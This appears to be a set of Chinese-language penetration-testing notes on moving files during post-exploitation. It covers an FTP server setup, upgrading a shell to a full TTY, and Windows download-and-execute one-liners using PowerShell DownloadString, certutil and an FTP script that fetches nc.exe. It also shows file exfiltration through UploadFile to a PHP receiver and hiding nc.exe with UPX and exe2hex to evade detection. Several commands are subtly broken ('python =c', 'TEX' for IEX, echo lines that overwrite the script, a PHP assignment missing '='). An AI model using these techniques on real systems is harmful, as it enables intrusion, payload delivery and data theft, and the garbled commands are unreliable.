传输文件一般发生在后渗透测试阶段,即已经突破边界并在目标主机上获取初始低权限账户
一般的任务有:
1. 权限提升
2. 权限维持
3. 横向渗透
FTP
以pure-ftpd为例,安装并设置用户权限
apt install pure-ftpd
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null-s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
#这里的offsec是ftp账号,映射到系统账号ftpuser,并设置密码
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
systemctl restart pure-ftpd
非交互SHELL升级
利用python的pty模块可以获取伪终端
python =c 'import pty; pty.spawn("/bin/bash")'
针对bash还有其他方法获取完整功能终端
bash
#先让自己处于bash环境
python =c 'import pty; pty.spawn("/bin/bash")'
#先创建伪终端
^Z
#Ctrl+Z置入后台
stty raw -echo
#命令将终端设置为原始模式
fg
#按ctrl+z时,进程将挂起并停止。使用 fg,您可以将挂起的作业移动到前台,使用 bg,您可以在后台运行它。
export SHELL=/bin/bash
export TERM=screen
#这是Shell环境变量
stty rows 40 columns 128
#修改shell大小
reset
#重置终端的状态
Windows文件传输
Linux有curl、netcat、wget等文件,但是Windows上只默认包含FTP且无法获得交互终端
可以取巧使用文件传输指令
echo open <HOST> 21>ftp.txt
echo USER offsec>>ftp.txt
echo lab>>ftp.txt
echo bin >ftp.txt
echo GET nc.exe >ftp.txt
echo bye >ftp.txt
ftp -v-n -s:ftp.txt
也可以使用vbs/powershell脚本下载文件的
powershell.exe (New-Object System.Net.WebClient).DownloadFile('<URL>','<FILE>')
#下载文件并保存
powershell.exe TEX (New-Object System.Net.WebClient).DownloadString('<URL>')
#直接运行脚本
其他方法
certutil.exe -urlcache -split -f "<URL>" <FILE>
#Windows自带工具,需要在管理员权限的命令提示符或 PowerShell 终端中执行
rdesktop -u <USER> a.b.c.d -p <PASSWORD> -g 1200x900 -x 0x80 -r sound:local -r disk:LinuxPictures=<DIR>
#远程桌面连接同时挂载共享文件夹、建议别折腾,直接用Windows
上传文件也是可以的
powershell.exe (New-Object System.Net.WebClient).UploadFile('<URL>','<FILE>')
对应的PHP后端
<?php
$uploaddir='/var/www/uploads/';
$uploadfile $uploaddir.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile);
?>
文件混淆/绕过
压缩打包二进制文件
upx -9 nc.exe
#使用 UPX 压缩工具对 nc.exe 文件进行压缩,压缩级别为最高压缩比
exe2hex -x nc.exe -p nc.cmd
#将 nc.exe 文件转换为十六进制格式,并将结果输出到 nc.cmd 文件中
powershell nc.cmd
#在 PowerShell 终端中执行 nc.cmd 文件,这将导致 nc.exe 文件被解码并在系统中执行